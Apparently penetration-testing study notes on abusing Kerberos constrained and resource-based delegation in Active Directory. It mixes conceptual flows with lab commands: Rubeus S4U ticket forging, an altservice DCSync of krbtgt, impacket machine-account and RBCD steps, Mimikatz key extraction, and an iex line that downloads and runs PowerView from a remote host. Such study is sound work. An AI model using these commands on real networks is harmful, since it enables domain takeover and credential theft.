request Alice → WEB01
3️⃣ KDC validates
delegation flags
user status
4️⃣ Ticket issued
Alice → WEB01
5️⃣ S4U2Proxy
WEB01 → KDC
request Alice → SQL01
6️⃣ KDC checks
msDS-AllowedToDelegateTo
7️⃣ Ticket issued
Alice → SQL01
8️⃣ WEB01 connects to SQL01
using Alice's identity
8️⃣ Why This Is Dangerous for Security
If attackers compromise a server with delegation:
WEB01$
they can run S4U requests for any domain user.
Example impersonation:
Administrator
krbtgt
Domain Admins
If the allowed service includes something powerful like:
CIFS/DC01
LDAP/DC01
Then attackers can reach the domain controller.
Permission That Can Lead To Abuse
1️⃣ What Permissions Enable Constrained Delegation Abuse
For traditional constrained delegation, the configuration lives on the delegating account (user or computer).
The key attribute is:
msDS-AllowedToDelegateTo
So if you can modify that attribute, you can configure delegation.
The permissions that allow this are:
High impact permissions
Look for these edges in BloodHound:
GenericAll
GenericWrite
WriteProperty
WriteDacl
WriteOwner
These give the ability (directly or indirectly) to modify delegation settings.
2️⃣ What They Mean Practically
GenericAll
This is full control over the object.
If you have:
Attacker → GenericAll → WEB01$
You can modify:
SPNs
Delegation
Password
ACLs
Group membership (for users)
So you can set:
msDS-AllowedToDelegateTo
to anything you want.
Example attack config:
WEB01$
msDS-AllowedToDelegateTo = CIFS/DC01.domain.local
Now WEB01 can impersonate users to the domain controller.
GenericWrite
This allows modification of most attributes.
If you have:
Attacker → GenericWrite → WEB01$
You can modify attributes like:
msDS-AllowedToDelegateTo
servicePrincipalName
description
etc
So you can configure constrained delegation the same way.
WriteProperty
This is attribute-specific write permission.
If the permission includes:
WriteProperty → msDS-AllowedToDelegateTo
then you can directly configure constrained delegation.
Sometimes BloodHound shows this as:
WriteProperty
on a computer object.
WriteDacl
This allows modifying the ACL itself.
So the attack becomes two steps:
1️⃣ Add your own permission
Attacker → GenericAll → WEB01$
2️⃣ Modify delegation settings.
WriteOwner
This allows you to take ownership of the object.
Ownership lets you modify the ACL.
Flow:
Take ownership
↓
Modify DACL
↓
Grant GenericAll
↓
Modify delegation
3️⃣ What To Look For In BloodHound
Typical attack path queries include:
GenericAll
GenericWrite
WriteDacl
WriteOwner
on:
User accounts
Computer accounts
Service accounts
Example graph:
AttackerUser
│
GenericWrite
│
WEB01$
This means you can modify WEB01$ attributes.
4️⃣ How Attackers Actually Configure Constrained Delegation
If you control:
WEB01$
you modify:
msDS-AllowedToDelegateTo
Example malicious configuration:
WEB01$
msDS-AllowedToDelegateTo:
CIFS/DC01.domain.local
LDAP/DC01.domain.local
HOST/DC01.domain.local
Now WEB01 can impersonate any user to the domain controller.
Then the attacker performs:
S4U2Self
↓
S4U2Proxy
↓
Administrator → DC01
Which results in domain compromise.
5️⃣ BloodHound Indicators For Delegation Abuse
BloodHound highlights several related edges:
Delegation-related edges
AllowedToDelegate
AllowedToAct (RBCD)
TrustedToAuthForDelegation
These show existing delegation relationships.
Privilege escalation edges
These show ability to modify delegation:
GenericAll
GenericWrite
WriteDacl
WriteOwner
on service accounts or machines.
6️⃣ Quick Realistic Example
Imagine BloodHound shows:
User: john
john
│
GenericWrite
│
WEB01$
Attack chain:
1️⃣ Modify delegation on WEB01
msDS-AllowedToDelegateTo = CIFS/DC01
2️⃣ Perform impersonation
Administrator → WEB01 (S4U2Self)
3️⃣ Request delegated ticket
Administrator → DC01 (S4U2Proxy)
4️⃣ Access domain controller shares
\\DC01\C$
Now attacker effectively has Domain Admin level access.
Windows Setup + Example ( PoC )
🔍 Enumeration of Constrained Delegation
🔎 Using PowerView
Get-DomainUser -TrustedToAuth
OR
Get-DomainComputer -TrustedToAuth
This fetches users or computers that have:
TRUSTED_TO_AUTHENTICATE_FOR_DELEGATIONsetand
msDS-AllowedToDelegateTopopulated
Get-DomainUser -TruestedToAuth —–> Returns Service accounts that have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit set
Get-DomainComputer -TruestedToAuth - - - > Returns computer accounts (machine objects) that have the TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION bit set.
The above screenshoot shoes websvc is allowed for delegation and can delegate for CIFS service on dcorp-mssql.
🔎 Using ActiveDirectory Module
Get-ADObject -Filter {msDS-AllowedToDelegateTo -ne $null} -Properties msDS-AllowedToDelegateTo
🧪 Exploiting with Rubeus
Let’s say we have compromised the websvc account. We have its AES256 hash, and it is trusted to delegate with protocol transition.
Note:- below commands can be run on any domain joined command.
🧬 Step1: Impersonate Administrator to CIFS:
Using S4U to Get TGT+TGS in One Go:
Rubeus.exe s4u /user:websvc /aes256:2d84a12f614ccbf3d716b8339cbbe1a650e5fb352edc8e879470ade07e5412d7 /impersonateuser:Administrator /msdsspn:CIFS/dcorp-mssql.dollarcorp.moneycorp.local /ptt
Explanation:
/impersonateuser:Administrator: Who we want to impersonate(
You will impersonate the Administrator account to the CIFS service on dcorp-mssql
/msdsspn: The target service thewebsvcis allowed to delegate to/ptt: Pass-the-ticket (inject into current session)
To check whether the Ticket has been imported in current user session you can use klist command, which will list all the available tickets
klist
Above image shows that you are authenticated as Administrator for CIFS service
Step2: Access Targeted Resource
dir \\dcorp-mssql.dollarcorp.moneycorp.local\c$
You’re now accessing the C$ share as Domain Admin — without ever compromising their creds.
⚠️ Bonus: Abuse via Alternate Services (altservice)
Sometimes, an SPN in msDS-AllowedToDelegateTo might seem harmless — like time/ — but because SPN values are cleartext, they can be altered with /altservice to access other services on same host.
Example:
step1: find the computers or service accounts which have TRUSTED_TO_AUTHENTICATE_FOR_DELEGATION set and has any service running on Domain Controller under the msDS-AllowedToDelegateTo option
Get-DomainComputer -TruestedToAuth
above screenshot shows that DCORP-ADMINSRV$ computer is trusted to Auth for Time Service on DC.
Step2:- Use Rubeus for Constrained Delegation with Protocol Transition:
Classic Constrained Delegation:
Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:db7bd8e34fada016eb0e292816040a1bf4eeb25cd3843e04
1d0278d30dc1b445 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.local /ptt
The above command runs Constrained Delegation attack for time service on the Domain Controller.
Constrained Delegation with Protocol Transition:
Rubeus.exe s4u /user:dcorp-adminsrv$ /aes256:db7bd8e34fada016eb0e292816040a1bf4eeb25cd3843e041d0278d30dc1b445 /impersonateuser:Administrator /msdsspn:time/dcorp-dc.dollarcorp.moneycorp.local **/altservice:ldap** /ptt
/altservice:ldap:- verrides the service in the resulting TGS to be for LDAP, even though the SPN is time/....
This allows the attacker to perform DCSync (or other LDAP operations) as Administrator — without ever needing their credentials or interaction.
Checking whether the TGS has been imported:
✔ Now we can perform:
lsadump::dcsync /user:dcorp\krbtgt
📢 DCSync without Domain Admin compromise!
🧠 Even though the account was trusted only to time service, we accessed LDAP on the same DC.
🔐 Defensive Notes
Limit use of delegation — especially Protocol Transition
Use resource-based constrained delegation (RBCD) instead
Regularly audit
msDS-AllowedToDelegateToanduserAccountControlMonitor for:
- S4U2Self/S4U2Proxy usage
- Abnormal TGS request patterns
- Privileged users being impersonated
RBCD
Understanding The Core Concept
🧠 Core Idea of the RBCD Attack (Your Case)
Normally, delegation is configured on the service doing the delegation.
But with Resource-Based Constrained Delegation, the target machine decides who can impersonate users to it.
After your relay attack, the rule inside Active Directory becomes:
WEB01 says:
“I trust SWJFVMVD$ to impersonate users when accessing me.”
So the attacker machine can now pretend to be any user when accessing WEB01.
To perform an RBCD attack, you must be able to modify one attribute on the target computer object:
msDS-AllowedToActOnBehalfOfOtherIdentity
This attribute is stored on the target server’s AD object (example: WEB01$).
So the attacker must have write capability over the target computer object in AD.
🔑 Permissions That Allow RBCD
You can configure RBCD if you have any permission that allows writing attributes on the target object.
Common ones are:
GenericAll (Full Control)
This is the strongest permission.
If you have:
GenericAll on WEB01$
You can:
modify attributes
reset passwords
modify delegation
change ACLs
So you can easily set:
msDS-AllowedToActOnBehalfOfOtherIdentity
Example conceptually:
User: attacker
Permission: GenericAll
Target: WEB01$
So attacker can say:
“WEB01 trusts my machine for delegation.”
GenericWrite
This permission allows writing most attributes on the object.
So if you have:
GenericWrite on WEB01$
You can modify:
msDS-AllowedToActOnBehalfOfOtherIdentity
Because it is simply an attribute stored on the object.
Example scenario:
helpdesk_user
│
GenericWrite
│
WEB01$
Now helpdesk_user can configure RBCD.
WriteProperty
This is more granular.
It allows modifying specific attributes.
If the permission allows writing:
msDS-AllowedToActOnBehalfOfOtherIdentity
then RBCD can be configured.
Example:
attacker
WriteProperty(msDS-AllowedToActOnBehalfOfOtherIdentity)
WEB01$
This is enough to set delegation.
WriteDACL
This permission is very powerful.
It allows modifying the ACL of the object.
Meaning you can give yourself:
GenericAll
Then modify the delegation attribute.
Flow:
attacker
│
WriteDACL on WEB01
│
Add GenericAll permission
│
Modify RBCD attribute
Ownership (WriteOwner)
If you become owner of the object, you can modify its permissions.
Example flow:
attacker
│
WriteOwner
│
Becomes owner of WEB01
│
Modify ACL
│
Gain GenericAll
│
Configure RBCD
Ownership always allows modifying the object’s permissions.
Conditions to Perform the Attack
1️⃣ Creating a Computer Account (MachineAccountQuota)
In Active Directory there is a domain setting:
ms-DS-MachineAccountQuota = 10
This means:
Any authenticated domain user or computers can create up to 10 computer objects.
Example:
User:
john
can create:
ATTACKERPC$
inside AD.
So after creation:
Domain Computers
├─ WEB01$
├─ DC01$
└─ ATTACKERPC$
Now john controls ATTACKERPC$ credentials.
But notice something important:
Creating a computer does NOT automatically give john control over WEB01.
So just creating a machine does not enable RBCD yet.
Double Hop Problem + S4U2
1️⃣ First: What Is the Double Hop Problem?
Imagine three machines:
Client (user’s computer)
WEB01 (web server)
FILE01 (file server)
User:
dom
Servers:
WEB01
FILE01
Normal Kerberos Login
User logs in and receives a TGT (Ticket Granting Ticket):
TGT(dom)
Then the user accesses the web server.
The KDC issues:
TGS(dom → WEB01)
So now:
dom → WEB01
WEB01 knows the user is dom.
2️⃣ Now the Web Server Needs the File Server
The web application needs a file from FILE01.
So WEB01 tries to access FILE01.
But here is the problem.
WEB01 does not have dom’s TGT.
It only has the service ticket:
TGS(dom → WEB01)
So WEB01 cannot request:
TGS(dom → FILE01)
because only the client owns the TGT.
This Is the Double Hop Problem
Hop 1:
dom → WEB01
Hop 2:
WEB01 → FILE01
Kerberos does not allow the second hop, because the web server cannot impersonate the user.
So access fails.
3️⃣ Microsoft’s Solution: Delegation
Microsoft introduced delegation so services could act on behalf of users.
There are different types:
Unconstrained delegation
Constrained delegation
Resource-Based Constrained Delegation (RBCD)
But all of them rely on the same Kerberos extension:
S4U (Service for User)
4️⃣ S4U Extension Overview
S4U contains two steps:
S4U2Self
S4U2Proxy
Think of them as:
Step 1 → pretend user logged into me
Step 2 → access another service as that user
5️⃣ Step 1: S4U2Self (Service Pretends User Logged In)
The service asks the KDC:
“Give me a ticket for user dom to my own service.”
Example request:
Service: WEB01
User: dom
The KDC issues:
TGS(dom → WEB01)
Important detail:
This ticket is not coming from the user.
The service requested it itself.
So now WEB01 can say:
“I am acting on behalf of dom.”
But it still cannot access FILE01 yet.
6️⃣ Step 2: S4U2Proxy (Second Hop)
Now the service asks again:
“I have a ticket representing dom to me.
Now give me a ticket for dom → FILE01.”
So request becomes:
TGS(dom → FILE01)
But before issuing it, the KDC checks delegation permissions.
It asks:
Is WEB01 allowed to impersonate users to FILE01?
If delegation is configured, the KDC approves.
Then it issues:
TGS(dom → FILE01)
Now WEB01 can access FILE01 as dom.
7️⃣ Visual Flow (Legitimate Delegation)
User dom logs in
│
▼
TGT(dom)
dom → WEB01
│
▼
WEB01 receives TGS(dom → WEB01)
S4U2Self
WEB01 asks KDC → "give me ticket for dom → WEB01"
S4U2Proxy
WEB01 asks KDC → "give me ticket for dom → FILE01"
KDC checks delegation permissions
KDC issues:
TGS(dom → FILE01)
WEB01 accesses FILE01 as dom
8️⃣ Important: TGT vs TGS in S4U
Here is something many people misunderstand.
S4U never gives you the user’s TGT.
It only gives service tickets (TGS).
So after S4U you get:
TGS(dom → WEB01)
TGS(dom → FILE01)
But you never receive:
TGT(dom)
That’s why S4U is considered safer than unconstrained delegation.
9️⃣ Now Let’s Connect This to Your RBCD Attack
Actors in your attack:
Attacker machine → SWJFVMVD$
Target server → WEB01
User to impersonate → Administrator
During the relay attack you configured:
WEB01 trusts SWJFVMVD$ for delegation
So now Kerberos policy becomes:
SWJFVMVD$ can impersonate users to WEB01
🔟 S4U2Self in Your Attack
Your attacker machine asks the KDC:
“Give me a ticket for Administrator → SWJFVMVD$.”
KDC issues:
TGS(Administrator → SWJFVMVD$)
This means:
SWJFVMVD$ is acting as Administrator
But this ticket still cannot access WEB01.
1️⃣1️⃣ S4U2Proxy in Your Attack
Now your machine asks the KDC again:
“Give me a ticket for Administrator → WEB01.”
The KDC checks:
Does WEB01 allow SWJFVMVD$ delegation?
Because of RBCD the answer is:
YES
So the KDC issues:
TGS(Administrator → WEB01)
1️⃣2️⃣ Final Result
Now the attacker has a service ticket that says:
User = Administrator
Service = WEB01
So when connecting to WEB01:
WEB01 trusts the ticket
And the attacker becomes:
Administrator on WEB01
without knowing the password.
🧠 One Sentence Summary
The double hop problem prevents a service from impersonating a user to another service.
S4U2Self + S4U2Proxy solve this by letting a service ask the KDC for impersonation tickets, and RBCD defines which services are allowed to do that.
How the configuration & verification part works ??
1️⃣ Where the RBCD Setting Actually Lives
RBCD is stored in the target computer object in Active Directory.
Attribute:
msDS-AllowedToActOnBehalfOfOtherIdentity
Important detail:
This attribute is not just a string or SID.
It is a Security Descriptor (SD) — basically an ACL.
Think of it like a mini access control list inside the computer object.
Example conceptually:
Object: WEB01$
Attribute: msDS-AllowedToActOnBehalfOfOtherIdentity
Allow: ATTACKER$
Security Descriptor:
Allow SID ATTACKER$ to delegate
Allow: ATTACKER$
So the DC stores something like:
DACL:
ACE: ALLOW ATTACKER$ SID
Meaning:
ATTACKER$ can act on behalf of users to WEB01
2️⃣ What Happens When We Configure RBCD
When we run a command like:
impacket-rbcd -delegate-from ATTACKER$ -delegate-to WEB01$
The tool does this internally:
Queries SID of ATTACKER$
Builds a security descriptor
Writes it into
msDS-AllowedToActOnBehalfOfOtherIdentity
of:
WEB01$
So AD now contains something like:
WEB01$
└─ msDS-AllowedToActOnBehalfOfOtherIdentity
└─ Allow SID: S-1-5-21-XXXX-XXXX-XXXX-1234 (ATTACKER$)
3️⃣ Now Comes the Kerberos Part
When the attacker performs this:
impacket-getST \
-impersonate Administrator \
-spn cifs/web01.domain.local
Two Kerberos extensions are used:
S4U2Self
S4U2Proxy
The important check happens during S4U2Proxy.
4️⃣ Step 1 — Attacker Authenticates as Service
The attacker first authenticates to the KDC as:
ATTACKER$
Using password or NT hash.
This gives a TGT.
ATTACKER$ → TGT
So now the attacker has a Kerberos identity as the service.
5️⃣ Step 2 — S4U2Self Request
The service asks the KDC:
Give me a service ticket for Administrator to myself
Meaning:
Administrator → ATTACKER$
Request contains:
User to impersonate: Administrator
Service requesting: ATTACKER$
KDC checks:
Is ATTACKER$ a valid service?
Yes (it has SPNs).
So it issues a ticket:
Administrator → ATTACKER$
Important:
This ticket is marked:
FORWARDABLE
This is critical for delegation.
6️⃣ Step 3 — S4U2Proxy Request
Now attacker asks the KDC:
I have a ticket for Administrator.
Allow me to access WEB01 as Administrator.
This is the delegation request.
Request contains:
User: Administrator
Delegating service: ATTACKER$
Target service: cifs/web01
Now the KDC must decide:
Is ATTACKER$ allowed to delegate to WEB01?
7️⃣ What the KDC Does Internally
The KDC performs these checks:
Step 1
Find the target service object.
WEB01$
Step 2
Read attribute:
msDS-AllowedToActOnBehalfOfOtherIdentity
Step 3
Extract the security descriptor.
Example inside:
ALLOW SID: ATTACKER$
Step 4
Compare requesting service SID.
Requestor = ATTACKER$
Step 5
Evaluate ACL.
Conceptually:
if ATTACKER$ SID ∈ allowed list
allow delegation
else
deny
8️⃣ If the Check Passes
The KDC generates a service ticket:
Administrator → WEB01
Example SPN:
cifs/web01.domain.local
Now the attacker has:
Administrator service ticket for WEB01
9️⃣ What the Ticket Contains
The TGS contains:
Client: Administrator
Service: WEB01
Delegated by: ATTACKER$
But WEB01 only sees:
Client: Administrator
So WEB01 believes:
Administrator authenticated
It does not know delegation happened.
1️⃣1️⃣ Why the KDC Trusts This
Because RBCD tells the KDC:
The resource (WEB01) explicitly trusts ATTACKER$
So the logic becomes:
WEB01 says ATTACKER$ can impersonate users to it
Therefore the KDC is allowed to generate:
Administrator → WEB01
1️⃣2️⃣ Why the Attack Works Even If Admin Never Logged In
Because the KDC does not verify that the user authenticated to the service.
Kerberos assumption:
Trusted services can request tickets for users
This is required for:
Web servers
SQL servers
SharePoint
Exchange
So the KDC allows the service to act on behalf of the user.
1️⃣3️⃣ Simplified Real-World Analogy
Imagine a building.
WEB01 = secure room
ATTACKER$ = receptionist
Administrator = CEO
WEB01 writes in its policy:
Receptionist is allowed to bring anyone into the room.
Now receptionist tells security:
The CEO needs access to WEB01.
Security checks:
Does WEB01 trust receptionist?
Yes.
So security opens the door.
Even if the CEO never came to the building.
✅ Final Key Understanding
The KDC does not blindly trust the service.
It verifies delegation using:
msDS-AllowedToActOnBehalfOfOtherIdentity
stored on the target resource.
If the requesting service SID is inside that security descriptor, the KDC issues the delegated TGS.
Conditions To Work
Generic All / Write on Computer
🧠 Core Requirement for RBCD
To abuse:
Set-DomainObject-IdentityTARGET$-Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}
👉 You need:
A machine account YOU control
❓ Your Question
Do we need to create a machine account (MachineAccountQuota=10) or already have one?
👉 ✔ BOTH are valid paths
🔥 1. Case 1 — MachineAccountQuota > 0 (DEFAULT = 10)
🧠 What it means
- Any domain user can create up to 10 computer accounts
⚔️ Step-by-Step
Step 1 — Create machine account
impacket-addcomputer domain.local/user:pass-computer-name ATTACKER$ -computer -pass Pass123!
Step 2 — Get SID of machine
impacket-lookupsid domain.local/user:pass@DC_IP
Step 3 — Set RBCD on target
Set-DomainObject -Identity TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$attackerSID}
✅ Result
👉 Your fake machine can now impersonate users to TARGET
🔥 2. Case 2 — MachineAccountQuota = 0
🧠 What it means
- You cannot create new machines
⚔️ What you need
👉 Already compromised:
A computer account (e.g.,
WS01$)OR credentials/hash of a machine
✔ Example
You dumped credentials of:
WS01$
👉 Use that instead of creating new one
✅ Result
👉 Same RBCD attack works
🔥 3. Case 3 — You already have a computer account
🧠 Example
- You compromised:
WEB01$APP01$
👉 Directly use its SID
⚠️ Important Requirement (VERY IMPORTANT)
You must control a principal that supports delegation
✔ Valid principals:
Computer accounts ✅
Service accounts (rare cases) ✅
❌ Normal users → NOT useful for RBCD
GenericAll on OU
🔑 Key Concept: Inheritance in AD
🧩 Two things matter
1. Is inheritance enabled on child objects?
Each object (user/computer) has:
"Protect object from inheritance"
✅ Disabled → inherits permissions from OU
❌ Enabled → blocks inheritance
2. Did your ACE include inheritance flags?
When you run:
Add-DomainObjectAcl -Rights All
👉 By default, it may NOT apply to child objects unless inheritance flags are set
🔥 So what really happens?
Case 1: No inheritance flags set ❌
👉 You only control:
OU=IT
You DO NOT control:
Users inside OU
Computers inside OU
Case 2: Inheritance flags enabled ✅
If ACE is applied like:
This object + Descendant objects
AND
Child objects allow inheritance
👉 Then:
OU → permissions flow down → users/computers
⚔️ When exploitation works
✅ Full abuse condition
You need BOTH:
ACE with inheritance flags
Child objects not blocking inheritance
💥 Result
Then you can:
Reset passwords of users
Add users to groups
Modify computer objects
Perform attacks like:
- RBCD (on computers)
- Force password change
- Shadow credentials
🎯 Step 1: Add rights over USER objects
Add-DomainObjectAcl `
-TargetIdentity"OU=IT,DC=domain,DC=local" `
-PrincipalIdentityattacker `
-RightsResetPassword `
-InheritanceTypeDescendents `
-TargetTypeUser
🎯 Step 2: Add rights over COMPUTER objects
Add-DomainObjectAcl `
-TargetIdentity"OU=IT,DC=domain,DC=local" `
-PrincipalIdentityattacker `
-RightsAll `
-InheritanceTypeDescendents `
-TargetTypeComputer
🧠 What this does
👉 You are telling Active Directory:
“Apply these permissions to all child user/computer objects inside this OU”
🔍 Verify it worked
Check ACLs
Get-DomainObjectAcl -Identity "OU=IT,DC=domain,DC=local" -ResolveGUIDs
Look for:
InheritedObjectType: UserInheritedObjectType: Computer
⚠️ Step 3 — Check if inheritance is blocked
Even if you did everything right…
👉 child objects might have:
"Protect object from inheritance"
🔎 Check via PowerView
Get-DomainUser-SearchBase"OU=IT,DC=domain,DC=local"|
Get-ObjectAcl
🔎 Or manually (GUI)
Open ADUC
User → Properties → Security → Advanced
Check:
"Enable inheritance"
RBCD + Relay Attacks
🧩 Step 1 — Forcing WEB01 to Authenticate
You forced WEB01 to connect to your machine using a coercion technique.
Imagine the attacker tells WEB01:
“Hey WEB01, go check this network share for me.”
So WEB01 tries to access:
\\attacker\share
Because it is a Windows machine, it automatically authenticates using its machine account:
WEB01$
So the authentication flow becomes:
WEB01 → Attacker
Authentication identity: WEB01$
🔁 Step 2 — Relaying That Authentication to the Domain Controller
Instead of accepting that authentication, your relay server forwards it to the Domain Controller.
So the flow becomes:
WEB01 → Attacker → Domain Controller
To the Domain Controller it looks like:
“WEB01 is connecting to LDAP.”
So now the Domain Controller believes the attacker is WEB01$.
Meaning the attacker temporarily has WEB01’s privileges in Active Directory.
🏗 Step 3 — Creating an Attacker Machine
Active Directory has a default rule:
Any authenticated user or machine can create up to 10 computer accounts.
So while the attacker is authenticated as WEB01$, the relay attack creates a new computer object in Active Directory.
Example:
Computer created: SWJFVMVD$
Now inside AD there is a new machine object that you control.
Think of it like adding a new computer to the domain:
Domain Computers
├─ WEB01
├─ DC01
└─ SWJFVMVD ← attacker machine
The attacker now knows the password of this machine account, so it can authenticate as it anytime.
🧩 Step 4 — Setting the RBCD Permission
Now the relay attack performs the most important step.
A computer account can often modify certain attributes of its own object.
It modifies a setting on WEB01.
The setting is an attribute called:
msDS-AllowedToActOnBehalfOfOtherIdentity
This attribute means:
“Which machines are allowed to impersonate users when accessing this server?”
The relay attack updates it so that:
WEB01 allows SWJFVMVD$
Conceptually inside Active Directory it becomes:
WEB01
trusts
SWJFVMVD$
to act on behalf of users
This is the Resource-Based Constrained Delegation configuration.
Important detail:
RBCD is set on the target server.
So in your attack:
RBCD is set on WEB01
not on the attacker machine.
🎭 Step 5 — Attacker Uses the New Machine Identity
Now the attacker logs in as the machine that was created earlier:
SWJFVMVD$
Think of it as:
“I am now operating as the computer SWJFVMVD in the domain.”
This machine account is treated as a service account in Kerberos.
That means it can use a feature called S4U delegation.
🎭 Step 6 — First Kerberos Trick (S4U2Self)
The attacker machine asks the Domain Controller:
“I am SWJFVMVD.
Please give me a ticket for user Administrator to myself.”
Even though Administrator never logged in, the Domain Controller allows this request.
So the Domain Controller creates a ticket that says:
User: Administrator
Service: SWJFVMVD
Meaning:
SWJFVMVD is acting on behalf of Administrator.
But this ticket still cannot access WEB01 yet.
📁 Step 7 — Second Kerberos Trick (S4U2Proxy)
Now SWJFVMVD asks the Domain Controller again:
“I have a ticket representing Administrator.
I want to access WEB01 as Administrator.”
Before granting that ticket, the Domain Controller checks the delegation policy.
It checks the attribute on WEB01:
msDS-AllowedToActOnBehalfOfOtherIdentity
And it sees:
SWJFVMVD$ is allowed
So the Domain Controller approves the request.
🎟 Step 8 — Final Ticket Issued
The Domain Controller now creates a new ticket:
User: Administrator
Service: WEB01
This ticket basically says:
“Administrator is accessing WEB01.”
But in reality, the attacker is holding the ticket.
🖥 Step 9 — Attacker Accesses WEB01
Now the attacker connects to WEB01 and presents the ticket.
WEB01 reads it and sees:
User = Administrator
Because the ticket came from the Domain Controller, WEB01 trusts it completely.
So the attacker is now effectively:
Administrator on WEB01
Why Computer Account Creation Is Important ??
1️⃣ Yes — Users Can Have SPNs
In Active Directory, SPNs are not limited to computers.
You can assign an SPN to:
Computer accounts
Service accounts (user accounts)
Managed service accounts (gMSA)
Example user service account:
sqlsvc
Assign an SPN:
setspn -S MSSQLSvc/sql01.domain.local sqlsvc
Now Kerberos knows:
MSSQLSvc/sql01.domain.local → sqlsvc
That means the user account is now a Kerberos service.
So technically:
✔ Yes — a user with an SPN can perform S4U operations.
2️⃣ So Why Do Attackers Create a Computer?
Because any domain user can create a computer by default, but cannot modify SPNs on arbitrary users.
Default AD setting:
MachineAccountQuota = 10
Meaning:
Any authenticated user can run something like:
impacket-addcomputer
and create:
ATTACKER$
No special privileges needed.
But adding an SPN to a user usually requires:
GenericWrite
WriteProperty
ServicePrincipalName write permissions
on that user.
So from an attacker perspective:
That’s the main reason.
3️⃣ Computer Accounts Already Have SPNs
When you create a machine, AD automatically assigns several SPNs.
Example:
HOST/ATTACKER
HOST/ATTACKER.domain.local
CIFS/ATTACKER
So the machine is immediately usable as a Kerberos service.
No configuration needed.
That makes it perfect for:
S4U2Self
S4U2Proxy
4️⃣ Kerberos Needs a Service to Perform S4U
For S4U to work, the requesting account must be a service identity.
That means it must have an SPN.
Example:
Service → requests ticket for user
Example flow:
ATTACKER$ → requests ticket for Administrator
Kerberos allows it because:
ATTACKER$ has SPNs
5️⃣ Could We Use a User Instead?
Yes — if you control a user account with an SPN.
Example:
svc_web
SPN:
HTTP/web.domain.local
Then the attack could be:
svc_web → impersonate Administrator → WEB01
This works exactly the same way.
But again, attackers rarely have rights to add SPNs.
6️⃣ Example Comparison
Method 1 — Using Computer (Common)
Step 1
impacket-addcomputer pirate.htb/user:pass -computer-name ATTACKER$
Step 2
Set RBCD
impacket-rbcd -delegate-from ATTACKER$ -delegate-to WEB01$
Step 3
impacket-getST -impersonate Administrator
Done.
Method 2 — Using User (Rare)
You would need:
GenericWrite on user account
Then:
setspn -S HTTP/fake.domain svc_user
Then the RBCD attack works.
But you already needed privileges, so the machine method is simpler.
7️⃣ Why Most Attack Chains Use Computers
Because it works with zero privileges.
Default AD configuration:
MachineAccountQuota = 10
So every domain user can create machines.
That means an attacker with just:
Domain user credentials
can obtain a Kerberos service identity.
That’s why almost every tool (Impacket, ntlmrelayx, Powermad) creates machines.
Windows Setup + Example ( PoC )
🛠️ 1. Exploiting RBCD
Step-by-step Attack Chain:
Step 1: Configure RBCD (Set msDS-AllowedToActOnBehalfOfOtherIdentity)
Before exploiting RBCD we often have to first configure it on the target system and this done by taking the access of the system, So first we have to take the remote access of the system.
Using your access, configure the delegation settings on dcorp-mgmt
Examples:
First get access to ciadmin using jenkin, refer privilege escalation video.
Disable script logging bypass and amsi:
Download and execute powerview in memory:
iex ((New-Object Net.WebClient).DownloadString('http://172.16.100.64/powerview.ps1'))
Setting RBCD on dcorp-mgmt :
Set-DomainRBCD -Identity dcorp-mgmt -DelegateFrom 'dcorp-std464$' -Verbose
- This adds
dcorp-student1$and to themsDS-AllowedToActOnBehalfOfOtherIdentityattribute ondcorp-mgmt$
for above dcorp-mgmt is the second hop and we are saying “for dcorp-mgmt allow delegation from dcorp-student(first hop)”.
Note:- We must have local admin rights on device which we are adding for delegation(dcorp-student).
Same using AD module:
$comps = 'dcorp-student1$','dcorp-student2$'
Set-ADComputer -Identity dcorp-mgmt -PrincipalsAllowedToDelegateToAccount $comps
This adds
dcorp-student1$anddcorp-student2$to themsDS-AllowedToActOnBehalfOfOtherIdentityattribute ondcorp-mgmt$.Now, these machines can impersonate any domain user to the
dcorp-mgmtservice using S4U2Self + S4U2Proxy flow.dcorp-student1$anddcorp-student2$are the machine on machine on will act as first hop anddcorp-mgmt$will be second hop.
Checking whether the RBCD has been set:
Get-DomainRBCD
From above image we can see that student1 machine has been added to delegation list. So, now using Student1 account we can access any service on DCORP-MGMT$ on behalf of any user.
Step 2: Extract AES Key from Controlled Computer Account
From new elevated shell, use Mimikatz to extract AES256 key from dcorp-student1$:
Invoke-Mimikatz -Command '"sekurlsa::ekeys"'
Or
C:\AD\Tools\Loader.exe -Path C:\AD\Tools\SafetyKatz.exe -agrs "sekurlsa::evasive-keys" "exit"
- This gives you the Kerberos long-term key for the computer account (needed for forging tickets via S4U2Self).
from above image we can see that there are two student1 accounts and they both have different keys, now how to know which account to target? - look at SID, the SID of 1st account denotes that its a virtual account, which systems keeps on creating and deleting on itself, while second student1 account has valid SID, hence we will target second account.
Step 3: Use Rubeus to Perform S4U2Self + S4U2Proxy
With the key in hand, you can impersonate any user (say, Administrator) and access dcorp-mgmt:
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args s4u /user:dcorp-student1$ /aes256:<AESKEY> /impersonateuser:Administrator /msdsspn:http/dcorp-mgmt /ptt
Exmaple:-
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args s4u /user:dcorp-std464$ /aes256:ccbc0dea361939622730abe237913939afcb84ee53f401b6f6c6316538a66712/ impersonateuser:Administrator /msdsspn:http/dcorp-mgmt /ptt
C:\AD\Tools\Loader.exe -path C:\AD\Tools\Rubeus.exe -args s4u /user:dcorp-studentX$ /aes256:ccbc0dea361939622730abe237913939afcb84ee53f401b6f6c6316538a66712 /msdsspn:http/dcorp-mgmt /impersonateuser:administrator /ptt
s4u: Initiates the S4U processimpersonateuser: The user you want to impersonatemsdsspn: The SPN of the backend service (dcorp-mgmt)/ptt: Pass-the-ticket directly into memory
To view whether you got the ticket run klist command.
Step 4: Access the Backend Host
Now you have a Kerberos ticket that allows you to impersonate Administrator on dcorp-mgmt.
Use WinRS or PSRemoting to access:
winrs -r:dcorp-mgmt cmd.exe
✅ You now have Administrator access on dcorp-mgmt, impersonating through the trusted delegation path.
🔎 Summary of Attack Path:
You control
dcorp-student1$(via admin access to student VM).You have write permissions to
msDS-AllowedToActOnBehalfOfOtherIdentityondcorp-mgmt.You configure RBCD so
dcorp-student1$is trusted to delegate.Extract AES key of
dcorp-student1$via Mimikatz.Use Rubeus to impersonate
